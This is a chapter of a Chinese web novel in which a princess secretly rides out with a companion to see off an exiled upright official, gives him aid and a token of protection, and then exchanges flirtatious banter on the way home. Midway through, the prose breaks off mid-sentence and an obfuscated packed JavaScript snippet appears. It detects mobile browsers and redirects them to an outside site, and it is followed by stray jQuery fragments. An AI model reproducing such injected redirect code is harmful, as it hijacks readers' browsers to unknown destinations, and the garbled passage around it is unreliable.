35. 送别

作品:《我为青帝

    自从那晚的谈话之后,林徵鸣像是彻断绝了吐露真相的心思,脸上再也没有了那副欲言又止的神色,只是宋庭玉能感觉到,他总是在暗处默默地看着自己,思绪翻涌,不知在想什么,当自己看过去的时候,他又很快地将视线移开,让人难以捉摸。


    几日之后,宋庭玉像是终于放弃了探究他的心事,又或者是想通即使是说清楚一件事情的来龙去脉,也需要天时地利人和,时机不对,即便是她再想探究,也终是枉然。于是,二人之间又恢复到了从前那种平静自然的相处状态,林徵鸣也像是终于松了一口气,不再躲躲闪闪,能正常同她说话了。


    一早,宋庭玉进屋换了一身轻便骑装出来,手里拿着一个包裹,走进花园时忍冬又递给她一个幕篱。


    天气晴好,林徵鸣正帮着陈伯将书房里的书本搬出来晾晒,陈旧的古籍摆了一院子,花园里弥漫着淡淡的墨香。他抬起头,见她准备出门,忙问:“殿下这是去哪?”


    宋庭玉将幕篱戴在头上:“城外。”


    林徵鸣放下手中的书,追上来打问:“不是最近不能出门吗?”


    宋庭玉莫名其妙看他一眼:“自然不是从正门出去,虽说是在府中思过,到底没有禁足的圣旨,只要从后山偷偷摸摸溜出去不就行了?”


    林徵鸣放下拍了拍身上的灰尘:“好几日没出府了,我陪殿下一起去吧。”


    宋庭玉翻了个白眼:“你知道本宫去做什么吗,就要跟着去?”


    林徵鸣嬉皮笑脸地贴过来,低声道:“就是不知道殿下去哪里,才要跟着去,不管殿下去哪里,我都会跟着殿下的。”


    他这话说的似乎有些别的意味,只是宋庭玉的心思根本没往这上面放,随口咕哝几句:“你若想的话,跟着就是了。”


    林徵鸣叹了口气,跟在她后面,暗道自己这真是媚眼抛给瞎子看。


    她站在原地整理遮在自己眼前的面纱,回头时就看见林徵鸣已经牵了两匹马出来,宋庭玉的灵晔在他手里,显得十分乖巧。


    宋庭玉幼学骑射,虽生长在皇城,但并不比马背上长大的人骑射功夫差,她的这匹爱马是她舅舅宁思清专门托人给外甥女送回来的,有塞外野马的血统,聪慧灵敏,擅长奔袭与跳跃,性格极其高傲古怪。


    宁思远派人送来时,它还是小马驹,但已经展现出了非凡的踢人天赋,脾气倔强,谁都不让近身,宋庭玉花了不少时间和精力让它认下她这个主人。小马驹浑身乌黑发亮,跑动起来时鬃毛泛着淡淡的鎏金,宋庭玉给它取名灵晔。


    长大后的灵晔性子稳重了许多,对平时喂养它的马夫和气不少,但对旁人还是一样不愿搭理。这会儿林徵鸣牵着它,它却并没有表现出反感的样子。


    宋庭玉挑挑眉,心道:他在府中倒是混的十分不错,别说是人,连马儿竟都被他收买了。


    既然林徵鸣说了要去,宋庭玉也并没有什么阻拦的理由,两人出了城,并辔齐驱。


    两人一路前行,到了城外不远的一处六角亭,宋庭玉下了马,将墨沙牵到旁边树林里的隐秘处,从马背上取下包裹


    林徵鸣同她一起,从她手中要过包裹拿在手里,掂了掂,分量不轻,看了一眼身后的六角亭,问:"是来送什么人吗?"


    宋庭玉笑他:"我出门做什么你都不知道,怎么还要跟着来?"


    林徵鸣正色道:"正是不知道才要跟来的,当然若是知道了那就更要跟上。"


    宋庭玉饶有兴致地问:"什么时候都跟着?


    "那是自然。"他心想:跟得这么近,身边已经出现了两个未婚驸马,若是再不跟紧些,只怕未婚就要变成已婚的驸马了


    宋庭玉还要回嘴,就听城门里传来马车行走的轱辘声,林徵鸣示意她回头看。宋庭玉远远望了片刻,见只有一辆青布马车,装饰简陋,车夫也上了年纪,不由微微皱眉。她走向路中间、车夫远远就看见两个衣着华贵的人站在路边,急忙停了车。


    "什么事?"车里传来一个低沉的声音。


    车夫支支吾吾间,宋庭玉已经带着林徵鸣走到了马车跟前,她朗声道:"张大人,此去一别。蓬山万里,何不下车一叙啊。"车帘倏地掀开,出现张可那张消瘦的脸。他跳下马车,站在车边愣愣地看着宋庭玉,心中百感交集,说不出话,眼睛蓦然红了


    在王都做了十余年官,张可自认问心无愧,上对得起天子重托,下对得起百姓期盼,兢兢业业、如履薄冰,生怕有一丝一毫懈怠。他知道自己性格耿直,在京中不受人欢迎,但他一心为圣上,在涉斜月阁一案上即使有些执着,也绝无私,一国储君,犯下大错,自该受到惩处。只是景元帝已经不是早年间那个赏罚分明,杀伐决断的君主,年事已高、常年修道让他也渐渐变得昏聩、变得犹豫不决起来


    罢了,人家毕竟是父子,这天下是皇家的天下,他一介无依无靠的孤臣,又能怎么样呢?可离开王都时心灰意冷,遥望渐渐远去的皇城,想的是自己此生恐怕再也不会回来了。门庭冷落、车马孤单,以为自己鞠躬尽瘁十余年,就要这样灰溜溜地离开,没想到城门外还有人记得他,还有皇室中人愿意来送送他


    张可胸中像堵了一块大石头,憋得他鼻头酸涩,呼气不畅,万般情绪梗在胸中,只化作深深一揖。


    宋庭玉叹了口气,上前扶起他,把着他紧紧握着拳的双手,温声道:"大人一腔赤诚之心.本宫和百姓都记在心里。起落未知,来日方长,大人要向前看。"


    张可为官只求一个问心无愧,突遭贬斥,心里难免自我怀疑,此时最怕听到、也最想听到能有人肯定他这些年的所作所为,一时情绪激动,双眼泪流不止


    "谢……谢殿下。"他声音颤抖,几不能言。


    林徵鸣见状,上前扶住他的手臂,轻轻拍了拍:"张大人为人正直,不屈不折,乃我辈典范此番殿下特地来为大人送行,大人可要好好保重自身,不叫殿下担忧啊。"


    张可正在心里酝酿着感激的话,突然扶着自己的人就从昭平公主换成了另一个男子,他没反应过来,有些懵懵地看着林徵鸣。


    他埋头案牍,对王都中发生的事情不大关心.所以并不知道林徵鸣曾经在东宫诗会上大出风头,再加上林徵鸣久居公主府,并不在王都官宦中走动,故张可并不知道他是谁,只看着这人衣着华丽,又与公主举止亲密,这……


    宋庭玉内心翻了个白眼,示意林徵鸣将包裹递上来,对着张可殷切道:"我看大人一车一马,轻装简行,想必是为了早日赴任。但毕竟此番一去涿州数千里,路途遥远,行路住店恐怕有些事情忙不过来,王都外十五里处有一驿站,我派了人在那处等候,一路送大人到涿州。这是一点心意,望张大人收下。"


    张可百感交集,连连推辞:"臣一贬谪之人,劳公主出城相送已是麻烦,怎可再劳动公主,万万不可。"


    宋庭玉知道他会推辞,不说让他接受,只笑道:"大人早日抵达涿州,也好早日为涿州百姓做些事,本宫此番让人相送,不过是为了涿州百姓面已。收下吧。"


    张可心里一酸,他自然知道宋庭玉这样说只是为了让自己好受些,当下不再推辞,深深一拜;"多谢公主。"


    "另外"宋庭玉低声道:"大人此番为何遭此一难,你我都心中有数,斜月阁背后牵涉的非一家一户,如今被封,不知动了多少人的利益。涿州天高皇帝远,但难保不会有人将手伸到那里去。这个大人拿着。"她说着,从袖笼中拿出一个镶金玉牌,上有"昭平"二字。"若有解决不了的事情,将此物拿去码头,自有人前来相助。"


    林徵鸣双眼一眯,脸色有几分沉下去。


    张可面带犹疑地接过玉牌。昭平公主在王都并不出众,很多人以前甚至没有听说过这位公主,张可此前也一直将她当做寻常皇室女儿看待,可上次斜月阁一事,张可就察觉到了昭平公主并不像她展现出来的那样平平无奇,无论是她自己的聪慧决断,还是手下笼络了一群能人异士,都昭示着她暗中的势力非同小可,而她并没有在自己面前掩饰这种势力。


    难道……


    张可惊疑不定,偷偷看宋庭玉的表情,见她面色平静,看着自己的样子有几分意味深长,不由呼吸急促起来,手心也沁出了冷汗。


    "大人不必多思,公主保大人此行平安,都是为了涿州百姓,大人这样的人为一方父母官,是百姓之福。只是过刚易折,大人日后也要小心才是。"


    林徵鸣见他面色有异,适时接过话道


    可此时已经顾不上在意林徵鸣的身份了,只想着他这样说话必然也是公主的意思,当下连连点头。至于宋庭玉此番行动的深意,他并不愿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416277|183739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多想。


    毕竟,一切都还遥远


    他犹豫片刻,还是道:"若有机会,臣必报殿下知遇之恩。"他再次拜下去。


    宋庭玉这次没有阻拦他,而是端端正正受了一礼,见他起身,才温声道;"大人护好一方百姓,就是对本宫的报答了。"


    张可一听,心里又是一暖。


    阵阵风起,吹得林中树叶沙沙作响,明明是夏天,却无端让人感到一阵凉意。


    林徵鸣走到林子里,从马上取下一件斗篷,亲手为宋庭玉披上,软声道:"殿下,小心着凉。"宋庭玉没有动手,只是站在原地,等他为自己系好斗篷。林徵鸣看她难得没有反驳自己.心中一阵愉悦。斗篷是夏天用的,但也有系带,宋庭玉微微抬高下巴,方便他动作,林徵鸣只感觉到她微热的呼吸轻轻拂在自己手指上,像是穿过了某种动物幼崽的皮毛,心痒难耐。他装作不经意地抬眼看向她,却意外发现她也正抬着眼睛看向自己。林徵鸣只觉呼吸微微一乱。"怎么了?"宋庭玉低声问。


    林徵鸣摇摇头,两人都没有注意到彼此挨得极近,连呼吸都交错在一起


    张可站在原地,愣愣地看着这一幕,屏住呼吸,不敢出声,在这样的氛围里连大声呼吸都会觉得自己十分突兀,他面色古怪,之前被他刻意忽视的诡异感觉再次涌上心头。


    送君千里,终有一别,宋庭玉怕张可赶不及到驿站,便催促着人赶紧上路。见人上了马车走出一段,才带着林徵鸣往回走


    林徵鸣想着张可方才离开时又红通通、几欲流泪的眼睛,撇了撇嘴,心道;一个半大老头儿了,哭哭啼啼,像什么样子


    回去的路上,林徵鸣像是突然意识到自己刚才的所作所为似乎有些明显了,惴惴看向宋庭玉没有想到她脸上神色自然,没有生气的迹象。林徵鸣暗暗舒了一口气,但随即又感到一阵失落,心中自嘲;虽然没有体会到自己的心意,但好歹是没有生气。


    想着心事,脸上也带了了几分失落,就听宋庭玉像是忍不住一般,突然大笑出声。


    林徵鸣奇怪地看向她,脸上带了几分不自然:"你笑什么?"


    谁知宋庭玉听了非但没有收敛,反而笑得更厉害了,在马背上笑得前仰后合,笑得墨沙打了个响鼻。


    林徵鸣怕她摔下来,伸手去扶她,被她一把抓住手臂,笑问:"你对张大人有何不满?"林徵鸣尴尬道:"我怎么会对张大人不满,只是起风了,临近出发,你不要生病才是。"他说着,别过脸去佯装在看四周的风景。


    宋庭玉凑上去看他,脸上带着促狭的笑,讨嫌道:"真的?"


    林徵鸣道:"自然。"


    宋庭玉接着问:"你就没有什么私心?"


    林徵鸣正色道:"自然没有,我能有什么私心。"


    他和宋庭玉你来我往,一问一答习惯了,话说出口,才反应过来她刚刚问了什么,心中讶然,猛地回头去看她,却见她已经转过头去,左看右看附近的树,好像那绿色很值得研究一番,什么都没发生似的。


    林徵鸣揪住她的衣摆,不依不饶道:"你说清楚,我有什么私心?"


    "你这人好生奇怪,自己有什么私心,偏偏来问我。"宋庭玉一夹双腿,要马快走。林徵鸣怕她走快了出事,只好放开手。他骑术不差,快速追上去,追着问她:"到底什么意思?你是不是……"


    "嘘!"宋庭玉回头,制止了他,歪着头,脸上带着意味深长的笑:"想好再说吧,来日方长。"


    林徵鸣心里猛地一震,心跳不受控制的加快,他想起方才宋庭玉对张可也是这样说的,她这个人,说话做事总是别有深意,让人捉摸不透,他不确定她是否已经明白了他的意思,又对这种意思抱有什么态度


    他仰起头,夏日傍晚的风温和舒适,根本不像他说的那样需要戴披风,宋庭玉常年骑马锻炼,在寒冬的风雪里都能单衣骑行,哪里会在乎这点小风。他隐约感觉到什么,但并没有挑明,她说得对,来日方长。


    想到这里,他难掩心中的激动,仿佛有一场雷雨倾泄而下,酣畅淋漓的、万物更新的,那阵阵惊雷让他忍不住奔跑起来,于是他收紧缰绳,策马扬鞭。


    "驾!"


    宋庭玉一惊,就见他已经冲到自己前面去了。她笑得更加开怀,催动灵晔紧紧跟上。